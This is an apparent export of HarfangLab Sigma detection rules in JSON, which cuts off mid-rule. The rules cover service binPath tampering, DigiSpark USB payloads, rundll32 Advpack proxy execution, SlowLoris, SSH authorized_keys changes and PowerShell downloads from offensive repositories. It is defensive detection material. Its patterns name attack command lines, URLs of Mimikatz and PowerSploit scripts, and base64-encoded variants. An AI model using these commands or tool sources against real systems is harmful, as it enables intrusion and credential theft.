+  "rule_description": "Detects the modification of a service binPath using sc.exe.\nAdversaries can make changes to a Windows service binPath to point to a malicious payload.\nThe payload is then executed the next time the service is started, achieving persistence and/or privilege escalation.\nIt is recommended to investigate the parent process for suspicious activities.\n",
+  "rule_creation_date": "2022-11-10",
+  "rule_modified_date": "2025-10-07",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1543.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d06f9bc2-420e-4291-93be-da3246c0dc81",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.073461Z",
+  "creation_date": "2026-03-23T11:45:34.073463Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.073467Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://redacted.au/creating-a-usb-rubber-ducky-from-a-digispark-attiny-85/",
+    "https://github.com/zer0overflow/DigiPwn",
+    "https://attack.mitre.org/techniques/T1091/",
+    "https://attack.mitre.org/techniques/T1200/"
+  ],
+  "name": "t1200_popular_digispark_powershell_scripts.yml",
+  "content": "title: DigiSpark USB Malicious PowerShell Snippets\nid: d06f9bc2-420e-4291-93be-da3246c0dc81\ndescription: |\n    Detects popular default PowerShell snippets deployed by DigiSpark, an alternative to USB hacking tools like RubberDucky or BashBunny.\n    This detects snippets from different public repositories associated with DigiSpark. While some actions may not be from a DigiSpark device, they may still be malicious.\n    It is recommended to investigate the PowerShell script and determine the context in which it was executed. It is also recommended to investigate any USB devices that were plugged in to this machine.\nreferences:\n    - https://redacted.au/creating-a-usb-rubber-ducky-from-a-digispark-attiny-85/\n    - https://github.com/zer0overflow/DigiPwn\n    - https://attack.mitre.org/techniques/T1091/\n    - https://attack.mitre.org/techniques/T1200/\ndate: 2025/01/06\nmodified: 2025/04/11\nauthor: HarfangLab\ntags:\n    - attack.initial_access\n    - attack.t1200\n    - attack.t1091\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.HackTool.DigiSpark\n    - classification.Windows.Behavior.USB\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    product: windows\n    category: powershell_event\ndetection:\n    selection:\n        PowershellCommand|contains:\n            - 'Regards Your Digispark'\n            - 'DigiSpark Report'\n            - 'http://bit.ly/14bZZ0c'\n            - 'Pwned from DigiSpark !'\n            - 'https://vk.com/doc138418519_492631985'\n            - '$code = {function My-Keypresses($Path='\n            - 'Digi-WP-Mail'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d06f9bc2-420e-4291-93be-da3246c0dc81",
+  "rule_name": "DigiSpark USB Malicious PowerShell Snippets",
+  "rule_description": "Detects popular default PowerShell snippets deployed by DigiSpark, an alternative to USB hacking tools like RubberDucky or BashBunny.\nThis detects snippets from different public repositories associated with DigiSpark. While some actions may not be from a DigiSpark device, they may still be malicious.\nIt is recommended to investigate the PowerShell script and determine the context in which it was executed. It is also recommended to investigate any USB devices that were plugged in to this machine.\n",
+  "rule_creation_date": "2025-01-06",
+  "rule_modified_date": "2025-04-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1091",
+    "attack.t1200"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d0cfcf52-bb32-4c4d-a983-0bebd4b842a7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.088275Z",
+  "creation_date": "2026-03-23T11:45:34.088277Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.088281Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Libraries/Advpack/",
+    "https://attack.mitre.org/techniques/T1218/011/"
+  ],
+  "name": "t1218_011_rundll32_advpack.yml",
+  "content": "title: Proxy Execution via Advpack.dll\nid: d0cfcf52-bb32-4c4d-a983-0bebd4b842a7\ndescription: |\n    Detects a suspicious invocation of Advpack.dll by rundll32.\n    Adversaries may abuse rundll32.exe to proxy execution of malicious code.\n    Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor an execution of the rundll32.exe process because of whitelists or false positives from baseline behavior.\n    It is recommended to investigate the legitimacy of the process responsible for the execution of rundll32 and to analyze child processes.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Libraries/Advpack/\n    - https://attack.mitre.org/techniques/T1218/011/\ndate: 2022/12/02\nmodified: 2025/10/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218.011\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Advpack\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - Image|endswith: '\\rundll32.exe'\n        - OriginalFileName: 'RUNDLL32.EXE'\n\n    selection_advpack:\n        CommandLine|contains: ' advpack'\n\n    # rundll32.exe advpack.dll,LaunchINFSection c:\\test.inf,,1,\n    selection_action_launchinf:\n        CommandLine|contains:\n            - 'LaunchINFSection'\n            - '#8'  # LaunchINFSectionA\n            - '#9'  # LaunchINFSectionEx\n            - '#10' # LaunchINFSectionExA\n            - '#44' # LaunchINFSection\n            - '#45' # LaunchINFSectionExW\n            - '#46' # LaunchINFSectionW\n\n    # rundll32.exe advpack.dll,RegisterOCX test.dll\n    selection_action_registerocx:\n        CommandLine|contains:\n            - 'RegisterOCX'\n            - '#11' # RegisterOCX\n            - '#12' # RegisterOCXW\n\n    exclusion_programfiles:\n        CommandLine|contains:\n            - 'rundll32.exe advpack.dll,LaunchINFSection ?:\\Program Files\\'\n            - 'rundll32.exe advpack.dll,LaunchINFSection ?:\\Program Files (x86)\\'\n            - 'rundll32.exe advpack.dll,LaunchINFSectionEx ?:\\Program Files\\'\n            - 'rundll32.exe advpack.dll,LaunchINFSectionEx ?:\\Program Files (x86)\\'\n            - 'rundll32 advpack.dll,LaunchINFSection ?:\\Program Files\\'\n            - 'rundll32 advpack.dll,LaunchINFSection ?:\\Program Files (x86)\\'\n            - 'rundll32 advpack.dll,LaunchINFSectionEx ?:\\Program Files\\'\n            - 'rundll32 advpack.dll,LaunchINFSectionEx ?:\\Program Files (x86)\\'\n\n    exclusion_ieuinit:\n        CommandLine|contains: '?:\\Windows\\system32\\ieuinit.inf'\n\n    exclusion_immersivecontrolpanel:\n        CommandLine|startswith: '?:\\Windows\\System32\\rundll32.exe ADVPACK.DLL,LaunchINFSection '\n        ParentImage: '?:\\Windows\\ImmersiveControlPanel\\SystemSettings.exe'\n\n    exclusion_windows_media:\n        CommandLine|contains: 'rundll32.exe advpack.dll,LaunchINFSection setup.inf,,1,N'\n        ParentImage: '?:\\ProgramData\\Package Cache\\\\*\\wm8eutil_setup.exe'\n\n    exclusion_hp:\n        ParentImage: '?:\\Program Files\\HPCommRecovery\\HPCommRecovery.exe'\n\n    condition: selection_bin and selection_advpack and 1 of selection_action_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d0cfcf52-bb32-4c4d-a983-0bebd4b842a7",
+  "rule_name": "Proxy Execution via Advpack.dll",
+  "rule_description": "Detects a suspicious invocation of Advpack.dll by rundll32.\nAdversaries may abuse rundll32.exe to proxy execution of malicious code.\nUsing rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor an execution of the rundll32.exe process because of whitelists or false positives from baseline behavior.\nIt is recommended to investigate the legitimacy of the process responsible for the execution of rundll32 and to analyze child processes.\n",
+  "rule_creation_date": "2022-12-02",
+  "rule_modified_date": "2025-10-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218.011"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d10ca8a8-d720-4cca-8cbd-e183bb381b37",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.619635Z",
+  "creation_date": "2026-03-23T11:45:34.619637Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.619641Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.cloudflare.com/learning/ddos/ddos-attack-tools/slowloris/",
+    "https://github.com/maxkrivich/SlowLoris",
+    "https://github.com/StanGirard/SlowLoris-DDOS-Attack",
+    "https://github.com/0xc0d/Slow-Loris",
+    "https://github.com/GHubgenius/slowloris.pl",
+    "https://attack.mitre.org/techniques/T1499/002/"
+  ],
+  "name": "t1498_slowloris_script_execution_macos.yml",
+  "content": "title: SlowLoris Script Execution (macOS)\nid: d10ca8a8-d720-4cca-8cbd-e183bb381b37\ndescription: |\n    Detects suspicious arguments in a command-line linked to the usage of a SlowLoris DDoS script.\n    SlowLoris is a type of DDoS attack that allows an attacker to overwhelm a server by maintaining multiple HTTP connections.\n    It is recommended to investigate this by checking if the script parameters are aimed at your own infrastructure and that they're not part of an internal test.\nreferences:\n    - https://www.cloudflare.com/learning/ddos/ddos-attack-tools/slowloris/\n    - https://github.com/maxkrivich/SlowLoris\n    - https://github.com/StanGirard/SlowLoris-DDOS-Attack\n    - https://github.com/0xc0d/Slow-Loris\n    - https://github.com/GHubgenius/slowloris.pl\n    - https://attack.mitre.org/techniques/T1499/002/\ndate: 2023/09/19\nmodified: 2025/01/08\nauthor: HarfangLab\ntags:\n    - attack.impact\n    - attack.t1499.002\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.HackTool.SlowLoris\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        CommandLine|contains:\n            - 'slowloris.pl'\n            - 'slowloris '\n            - 'slowloris.py'\n\n    # There is another rule for cloning\n    filter_github:\n        CommandLine|contains:\n            - ' clone '\n            - 'github'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d10ca8a8-d720-4cca-8cbd-e183bb381b37",
+  "rule_name": "SlowLoris Script Execution (macOS)",
+  "rule_description": "Detects suspicious arguments in a command-line linked to the usage of a SlowLoris DDoS script.\nSlowLoris is a type of DDoS attack that allows an attacker to overwhelm a server by maintaining multiple HTTP connections.\nIt is recommended to investigate this by checking if the script parameters are aimed at your own infrastructure and that they're not part of an internal test.\n",
+  "rule_creation_date": "2023-09-19",
+  "rule_modified_date": "2025-01-08",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1499.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d12ad52c-e73b-4f36-9f17-cf34a7c5d3c0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T07:14:08.741647Z",
+  "creation_date": "2026-03-23T11:45:34.081367Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.081371Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1021/004/",
+    "https://attack.mitre.org/techniques/T1484/",
+    "https://attack.mitre.org/techniques/T1098/004/"
+  ],
+  "name": "t1021_004_ssh_authorized_keys_modified_linux.yml",
+  "content": "title: SSH Authorized Keys Modified\nid: d12ad52c-e73b-4f36-9f17-cf34a7c5d3c0\ndescription: |\n    Detects an attempt to modify the content of ~/.ssh/authorized keys.\n    This file contains the list of SSH keys that are allowed to connect to that account.\n    Modifying this file can therefore be an attempt to facilitate lateral movement.\n    It is recommended to correlate this alert with other initial access or malicious activity in the machine to determine its legitimacy\nreferences:\n    - https://attack.mitre.org/techniques/T1021/004/\n    - https://attack.mitre.org/techniques/T1484/\n    - https://attack.mitre.org/techniques/T1098/004/\ndate: 2022/11/07\nmodified: 2026/03/23\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1021.004\n    - attack.defense_evasion\n    - attack.privilege_escalation\n    - attack.t1484\n    - attack.persistence\n    - attack.t1098.004\n    - classification.Linux.Source.Filesystem\n    - classification.Linux.Behavior.Persistence\n    - classification.Linux.Behavior.ConfigChange\nlogsource:\n    category: filesystem_event\n    product: linux\ndetection:\n    selection:\n        - Path:\n            - '/home/*/.ssh/authorized_keys'\n            - '/home/*/.ssh/authorized_keys2'\n            - '/root/.ssh/authorized_keys'\n            - '/root/.ssh/authorized_keys2'\n        - TargetPath:\n            - '/home/*/.ssh/authorized_keys'\n            - '/home/*/.ssh/authorized_keys2'\n            - '/root/.ssh/authorized_keys'\n            - '/root/.ssh/authorized_keys2'\n\n    filter_access_old:\n        Kind: 'access'\n        Permissions: 'read'\n\n    filter_access_new:\n        Kind:\n            - 'read'\n            - 'chmod'\n            - 'chown'\n            - 'remove'\n\n    exclusion_ssh:\n        - ProcessImage: '/usr/bin/ssh'\n        - ProcessParentImage: '/usr/bin/ssh'\n\n    exclusion_scp:\n        - ProcessImage: '/usr/bin/scp'\n        - ProcessParentImage: '/usr/bin/scp'\n\n    exclusion_common:\n        ProcessImage:\n            - '/usr/sbin/luserdel'\n            - '/usr/bin/touch'\n            - '/usr/bin/git'\n            - '/usr/bin/rsync'\n            - '/usr/bin/tar'\n\n    exclusion_commandline:\n        ProcessCommandLine: '/bin/mv /tmp/file?????? /home/u*/.ssh/authorized_keys'\n\n    exclusion_template_ansible:\n        - ProcessCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/AnsiballZ_*.py'\n        - ProcessParentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n\n    exclusion_docker:\n        - ProcessImage:\n            - '/usr/bin/dockerd'\n            - '/usr/sbin/dockerd'\n            - '/usr/bin/dockerd-current'\n            - '/usr/sbin/dockerd-current'\n            - '/snap/docker/*/bin/dockerd'\n        - ProcessAncestors|contains: '|/usr/bin/dockerd|'\n\n    exclusion_podman:\n        ProcessImage: '/usr/bin/podman'\n\n    exclusion_containers:\n        ProcessAncestors|contains:\n            - '|/usr/bin/containerd-shim-runc-v2|'\n            - '|/var/lib/rancher/k3s/data/*/bin/containerd-shim-runc-v2|'\n\n    exclusion_netwitness_logcollector:\n        - ProcessCommandLine: '/bin/bash /etc/netwitness/ng/logcollector/lctwin'\n        - ProcessParentCommandLine: '/bin/bash /etc/netwitness/ng/logcollector/lctwin'\n\n    exclusion_puppet:\n        - ProcessImage: '/opt/puppetlabs/puppet/bin/ruby'\n        - ProcessParentImage: '/opt/puppetlabs/puppet/bin/ruby'\n        - ProcessGrandparentImage: '/opt/puppetlabs/puppet/bin/ruby'\n\n    exclusion_google:\n        ProcessImage: '/usr/bin/google_guest_agent'\n\n    exclusion_opcon:\n        - ProcessCommandLine: '/bin/sh /tmp/opcon_agent/bin/install_key /tmp/opcon_agent/bin/sma_id_rsa.pub'\n        - ProcessParentCommandLine: '/bin/sh /tmp/opcon_agent/bin/install_key /tmp/opcon_agent/bin/sma_id_rsa.pub'\n\n    exclusion_salt_minion:\n        - ProcessCommandLine:\n            - '/opt/saltstack/salt/bin/python3.?? /usr/bin/salt-minion'\n            - '/usr/bin/python3 /usr/bin/salt-minion'\n        - ProcessParentCommandLine:\n            - '/opt/saltstack/salt/bin/python3.?? /usr/bin/salt-minion'\n            - '/usr/bin/python3 /usr/bin/salt-minion'\n        - ProcessGrandparentCommandLine:\n            - '/opt/saltstack/salt/bin/python3.?? /usr/bin/salt-minion'\n            - '/usr/bin/python3 /usr/bin/salt-minion'\n\n    exclusion_rudder:\n        - ProcessCommandLine:\n            - '/bin/sh /opt/rudder/share/commands/agent-run -urn'\n            - '/opt/rudder/bin/cf-agent -i -d info -cnever -k'\n        - ProcessParentCommandLine:\n            - '/bin/sh /opt/rudder/share/commands/agent-run -urn'\n            - '/opt/rudder/bin/cf-agent -i -d info -cnever -k'\n\n    exclusion_buildah:\n        ProcessParentCommandLine: 'buildah-oci-runtime'\n        ProcessGrandparentCommandLine: 'buildah-oci-runtime'\n\n    exclusion_docker_chown:\n        ProcessCommandLine: 'chown docker:docker /home/docker/.ssh/authorized_keys'\n\n    exclusion_legitimate_sshd_check:\n        ProcessCommandLine|startswith: 'sh -c cd ; umask 077 ; mkdir -p .ssh && { [ -z `tail -1c .ssh/authorized_keys 2>/dev/null` ] || echo >> .ssh/authorized_keys || exit 1; } && cat >> .ssh/authorized_keys || exit 1 ;'\n        ProcessGrandparentImage: '/usr/sbin/sshd'\n\n    exclusion_openwrt:\n        ProcessCommandLine|startswith: 'sh -c  cd; umask 077; AUTH_KEY_FILE=\".ssh/authorized_keys\"; [ -f /etc/openwrt_release ] && [ \"$LOGNAME\" = \"root\" ] && AUTH_KEY_FILE=/etc/dropbear/authorized_keys; AUTH_KEY_DIR=`dirname \"${AUTH_KEY_FILE}\"`;'\n        ProcessGrandparentImage: '/usr/sbin/sshd'\n\n    exclusion_rename:\n        Kind: 'rename'\n        ProcessImage:\n            - '/usr/bin/vi'\n            - '/usr/bin/vim'\n            - '/usr/bin/vim.basic'\n            - '/usr/bin/emacs-gtk'\n        TargetPath: '/*/.ssh/authorized_keys~'\n\n    exclusion_temp_file:\n        - ProcessImage: '/usr/bin/sed'\n          Path: '/*/.ssh/sed??????'\n        - ProcessImage: '/usr/bin/sed'\n          TargetPath: '/*/.ssh/sed??????'\n\n    exclusion_cron:\n        ProcessAncestors|contains: '|/usr/sbin/incrond|'\n\n    exclusion_octelium:\n        ProcessImage: '/usr/local/bin/octelium'\n        ProcessCommandLine|contains: 'octelium connect -p '\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d12ad52c-e73b-4f36-9f17-cf34a7c5d3c0",
+  "rule_name": "SSH Authorized Keys Modified",
+  "rule_description": "Detects an attempt to modify the content of ~/.ssh/authorized keys.\nThis file contains the list of SSH keys that are allowed to connect to that account.\nModifying this file can therefore be an attempt to facilitate lateral movement.\nIt is recommended to correlate this alert with other initial access or malicious activity in the machine to determine its legitimacy\n",
+  "rule_creation_date": "2022-11-07",
+  "rule_modified_date": "2026-03-23",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.lateral_movement",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.004",
+    "attack.t1098.004",
+    "attack.t1484"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d242d0d4-fb07-43c1-8f33-f08f9c952b6f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.091817Z",
+  "creation_date": "2026-03-23T11:45:34.091819Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.091823Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1059_001_powershell_malicious_urls_cmd.yml",
+  "content": "title: URLs of Malicious Code Repository in PowerShell Command-line\nid: d242d0d4-fb07-43c1-8f33-f08f9c952b6f\ndescription: |\n    Detects PowerShell commandlets containing a URL that references repositories used to host malicious code or offensive tooling.\n    Threat actors frequently use public repositories and open-source PowerShell scripts in their attacks.\n    It is recommended to investigate the repository being accessed, and examine any files or data that may have been downloaded. If your organization is not undergoing a security audit, this could indicate the initial stages of an attack.\nreferences:\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2020/12/08\nmodified: 2025/02/19\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.FileDownload\n    - classification.Windows.Behavior.NetworkActivity\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection_powershell:\n        - Image|endswith: '\\powershell.exe'\n        - OriginalFileName: 'PowerShell.EXE'\n\n    selection_github:\n        CommandLine|contains:\n            - '/raw.githubusercontent.com/'\n            - 'LwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8A'\n            - '8AcgBhAHcALgBnAGkAdABoAHUAYgB1AHMAZQByAGMAbwBuAHQAZQBuAHQALgBjAG8AbQAvA'\n            - 'vAHIAYQB3AC4AZwBpAHQAaAB1AGIAdQBzAGUAcgBjAG8AbgB0AGUAbgB0AC4AYwBvAG0ALw'\n            - '/gist.githubusercontent.com/'\n            - 'LwBnAGkAcwB0AC4AZwBpAHQAaAB1AGIAdQBzAGUAcgBjAG8AbgB0AGUAbgB0AC4AYwBvAG0ALw'\n            - '8AZwBpAHMAdAAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8A'\n            - 'vAGcAaQBzAHQALgBnAGkAdABoAHUAYgB1AHMAZQByAGMAbwBuAHQAZQBuAHQALgBjAG8AbQAvA'\n\n    selection_repo:\n        CommandLine|contains:\n            # https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/PowershellScripts/Find-Fruit.ps1\n            # https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1\n            - '/S3cur3Th1sSh1t/'\n            # /S3cur3Th1sSh1t/ in UTF16-LE in base64 with 3 different offsets, for PowerShell command-lines\n            - 'LwBTADMAYwB1AHIAMwBUAGgAMQBzAFMAaAAxAHQALw'\n            - '8AUwAzAGMAdQByADMAVABoADEAcwBTAGgAMQB0AC8A'\n            - 'vAFMAMwBjAHUAcgAzAFQAaAAxAHMAUwBoADEAdAAvA'\n            # 'https://raw.githubusercontent.com/pwnieexpress/Metasploit-framework/master/exploits/powershell/powerdump.ps1\n            - '/pwnieexpress/'\n            - 'LwBwAHcAbgBpAGUAZQB4AHAAcgBlAHMAcwAvA'\n            - '8AcAB3AG4AaQBlAGUAeABwAHIAZQBzAHMALw'\n            - 'vAHAAdwBuAGkAZQBlAHgAcAByAGUAcwBzAC8A'\n            # https://raw.githubusercontent.com/EmpireProject/Empire/master/module_source/credentials/Invoke-Mimikatz.ps1\n            - '/EmpireProject/'\n            - 'LwBFAG0AcABpAHIAZQBQAHIAbwBqAGUAYwB0AC8A'\n            - '8ARQBtAHAAaQByAGUAUAByAG8AagBlAGMAdAAvA'\n            - 'vAEUAbQBwAGkAcgBlAFAAcgBvAGoAZQBjAHQALw'\n            # https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1\n            - '/PowerSploit/'\n            - 'LwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALw'\n            - '8AUABvAHcAZQByAFMAcABsAG8AaQB0AC8A'\n            - 'vAFAAbwB3AGUAcgBTAHAAbABvAGkAdAAvA'\n            # https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1\n            - '/clymb3r/'\n            - 'LwBjAGwAeQBtAGIAMwByAC8A'\n            - '8AYwBsAHkAbQBiADMAcgAvA'\n            - 'vAGMAbAB5AG0AYgAzAHIALw'\n            - '/Invoke-Mimikatz/'\n            - 'LwBJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAvA'\n            - 